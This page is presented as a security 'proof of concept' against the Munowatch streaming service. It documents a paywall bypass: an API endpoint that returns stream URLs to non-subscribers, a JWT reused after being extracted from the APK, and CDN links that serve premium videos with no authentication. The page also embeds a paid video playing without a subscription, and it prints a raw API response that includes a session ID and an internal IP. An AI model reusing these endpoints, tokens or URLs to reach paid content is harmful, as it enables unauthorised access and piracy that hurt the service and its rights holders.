SECURITY RESEARCH PoC  |  The video below plays from Munowatch CDN with NO valid subscription — server-side entitlement not enforced
SECURITY PoC — NO AUTH
CDN BYPASS DEMO — Munowatch CDN serves this video with no token, no auth header required
CDN bypass demonstration:
The API returned playingUrl for Heart Eyes with issubscriber: false and user_access: deny.
The video above plays from Munowatch's own CDN with zero authentication — any b-cdn.net URL is publicly accessible.
Heart Eyes
Vj Junior Horror 01h 30m 1 year ago

For the past several years, the "Heart Eyes Killer" has wreaked havoc on Valentine's Day by stalking and murdering romantic couples. This Valentine's Day, no couple is safe.

 API Response Evidence — Vulnerability Proof
Endpoint called GET /api/preview/v2/55309/0
User ID used 0 (no user / not logged in)
JWT used Expired Feb 2024 (extracted from APK)
issubscriber false
user_access deny
paid_for YES (premium content)
substatus EXPIRED
serverhost 67
video_name Heart.Eyes.2025.1080p.WEBRip.x264.AAC5.1-YTS.mp4
playingUrl returned YES — URL in response
API playingUrl value https://munowatch.co/clips/ELI.mp4
CDN demo stream https://munotech3.b-cdn.net/daphine/Daphine42/1-Vengeance of the Bride-JBS TV-VJ IVO.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206). 

{
    "id": 55309,
    "video_title": "Heart Eyes",
    "description": "For the past several years, the \"Heart Eyes Killer\" has wreaked havoc on Valentine's Day by stalking and murdering romantic couples. This Valentine's Day, no couple is safe.",
    "video_name": "Heart.Eyes.2025.1080p.WEBRip.x264.AAC5.1-YTS.mp4",
    "filehistory": "",
    "openload": "0",
    "embedurl": "",
    "serverhost": "67",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "01h 30m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/zZiINQTQVq5137.jpg",
    "tfilehistory": "",
    "category_id": 2,
    "language_id": 1,
    "recording_date": "2025-03-08",
    "age_id": "18 +",
    "location": 1,
    "tab_category_id": 2,
    "series_code": "55309",
    "access": "1",
    "paid_for": "1",
    "new_movie": "1",
    "priority": "No",
    "size": "887.91 MB",
    "create_date": "2025-03-08 07:03:33",
    "schedule_date": "08.03.2025 03:07:09 PM",
    "user_id": 1118356,
    "vj_id": 1,
    "video_status_id": 0,
    "network_id": "45.221.10.185",
    "user_access": "deny",
    "notification": "No",
    "secduration": "5422.000000",
    "issubscriber": false,
    "genre": "Horror",
    "vjname": "Vj Junior",
    "trailer_playing_url": "",
    "episodes": 0,
    "episode_state": "",
    "nxt_eps": "",
    "nxt_eps_id": 0,
    "nxt_eps_title": "",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 0,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "1 year ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}